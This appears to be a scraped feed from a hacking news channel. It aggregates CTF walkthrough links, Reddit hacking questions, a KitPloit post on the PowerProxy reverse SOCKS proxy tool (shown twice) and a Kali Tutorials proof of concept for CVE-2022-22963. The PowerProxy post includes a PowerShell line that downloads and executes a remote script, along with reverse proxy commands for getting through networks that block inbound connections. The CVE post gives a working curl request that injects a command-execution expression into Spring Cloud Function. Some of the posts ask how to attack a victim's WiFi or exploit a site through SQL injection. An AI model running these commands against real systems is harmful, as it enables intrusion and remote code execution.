Black Hat Ethical Hacking
Recon Tool: Dorks collections list

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HACK THE BOX — LATE WALKTHROUGH

https://cdn-images-1.medium.com/max/699/1*x-8838f5SaqPhJoLHnp4lw.png
In this write up we're going to pwn a box on hack the box called “LATE”

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Proving Grounds BlackGate walkthrough

https://cdn-images-1.medium.com/max/853/1*5MAxUQUdr_ZEgOvCZi7img.png
Hi, today i am going to walk you through BlackGate, a hard rated proving grounds practice box.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is It Really Possible to Hack Bitcoin?

https://cdn-images-1.medium.com/max/2600/1*5p7jZpC0so7VcYm8PrMXnA.jpeg
Now that $LUNA has crashed so dramatically and many people have lost millions of dollars or even their life savings, there is a general…

Continue reading on Coinmonks »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Hacker Class

https://cdn-images-1.medium.com/max/1080/1*B3rDJza3AfsIHh7lx5naVA.jpeg
Hackers are not criminals. Hackers are people who find new ways to express the inexhaustible virtuality of life and the real.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

PowerProxy - PowerShell SOCKS Proxy With Reverse Proxy Capabilities
http://www.kitploit.com/2022/05/powerproxy-powershell-socks-proxy-with.html

___________________________
@hacking_Attack
@Hacking_Video

PowerShell SOCKS proxy with reverse proxy capabilities. PowerProxy is written with penetration testers in mind. Reverse (https://www.kitploit.com/search/label/Reverse) proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication (https://www.kitploit.com/search/label/Authentication) is supported for Socks (https://www.kitploit.com/search/label/Socks) 5 connections.
Setup Import the script: iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1 reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL (https://www.kitploit.com/search/label/OpenSSL) isn't installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the --no-encrypt option. Usage For detailed usage, check out PowerProxy's help, or use ./reverse_proxy_handler.py --help Run a reverse proxy On local machine, start the handler: # Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080 In PowerShell: Start-ReverseSocksProxy 172.1.1.20 -Port 8080 Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server: curl --socks4 127.0.0.1:1080 http://10.10.2.69/ Run a traditional SOCKS server Start-SocksProxy 172.10.2.20 -Port 9050 Require authentication Use PSCredential objects to require a username (https://www.kitploit.com/search/label/Username) and password: # Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose Limitations At the moment, only CONNECT requests are supported. BIND support is a goal, if practical. GSSAPI authentication is not supported. reverse_proxy_handler.py is only tested on UNIX-based machines, and probably doesn't work on Windows.

Download PowerProxy (https://github.com/get-get-get-get/PowerProxy)

___________________________
@hacking_Attack
@Hacking_Video

CRLF (%0D%0A) Injection
https://medium.com/@vasumudiraj57/crlf-0d-0a-injection-15f2623c0496?source=rss------bug_bounty-5

Hello Guys! I am vasu a bug bounty researcherContinue reading on Medium » (https://medium.com/@vasumudiraj57/crlf-0d-0a-injection-15f2623c0496?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PowerProxy - PowerShell SOCKS Proxy With Reverse Proxy Capabilities

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXZdpkJl-ndNE79XnTdBFqhJZwtY0SCHuUNkoUdlg2msPrW3alNDz25HLQVIFRUQaYCQOvaHKUmjMaI8VaEBfRsv6ey_tqMi7ZVglP24zX6ILKN2e1gBFnsINlxg3bT9MqzK6YEaulFwJqqaJdDJQj_1xQWEPMD3Kqv_nlrBgNX3dwV_JV07IgCAGu/w640-h318/proxy.png
PowerShell SOCKS proxy with reverse proxy capabilities.

PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication is supported for Socks 5 connections.
Setup

Import the script:

iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL isn't installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the --no-encrypt option.

Usage

For detailed usage, check out PowerProxy's help, or use ./reverse_proxy_handler.py --help

Run a reverse proxy

On local machine, start the handler:

# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080

In PowerShell:

Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server:

curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Run a traditional SOCKS server

Start-SocksProxy 172.10.2.20 -Port 9050

Require authentication

Use PSCredential objects to require a username and password:

# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Limitations

* At the moment, only CONNECT requests are supported. BIND support is a goal, if practical.
* GSSAPI authentication is not supported.
* reverse_proxy_handler.py is only tested on UNIX-based machines, and probably doesn't work on Windows.
Download PowerProxy

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
If a hacker has breached a sites backend, and navigates to the hashed passwords, is salting actually doing anything?

I often see salting mentioned as protection against rainbow lists and reversing hashed passwords. Does this really do anything? What’s to stop a hacker from creating a new login at the site and then breaching the database again to see how his own password looks. Then he just brute forces random salting of his own password until the hash matches the one from the database. Unless I’m missing something here? Is there any way to effectively add different hashed to each user’s password?

submitted by /u/ElonMusk0fficial
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What can I do to someone if I have his/her WiFi password?

Title said all,

If I know somebody's password for WiFI where all his/her devices are connected and I am able to connect to his/her WiFi network (obviously), what are my possibilities from hacking aspect?

submitted by /u/wannacry011
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What are your thoughts on parrot os?

It seems more light-weight, has more tools preinstalled than kali yet kali is like the go-to linux distro for pentesting. What’s the catch?

submitted by /u/ass_explosion_69
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
CVE-2022-22963 : PoC Spring Java Framework 0-day Remote Code Execution Vulnerability

CVE-2022-22963 is to run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:

docker run -it -d -p 8080:8080 bobcheat/springboot-public

Exploit

Curl command:

curl -i -s -k -X $’POST’ -H $’Host: 192.168.1.2:8080′ -H $’spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\”touch /tmp/test”)’ –data-binary $’exploit_poc’ $’http://192.168.1.2:8080/functionRouter’

Or using Burp suite:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ5VpcKZq5W8YIsZn3tkyAj4hAp_Omkvd-5846MHbdiujZDsrTIxOyWpoo04X-Jbh4WmegdQBxlggyQWgd6MWfnacOMC4_im3ikEg9AaVf_0flRTsiPplbms3ZF_ci7Oq958Oyks-sXm9WZimWNM2dmY7cDCalT3977ml_NpH58QxINxKJ0wVtJoPO/s1392/burp-suite-exploit.png

Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
sqli into outfile .php filtering

Hello fellow hackers! I am trying to exploit a site by sqli and I've tried the union based query with into outfile and it saves files successfully but when doing it on a .php extension, it makes the file but has no content(I've tried load_file on the php file already). How do you get around this? (Im still new to web hacking)

submitted by /u/peanutnameistaken
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video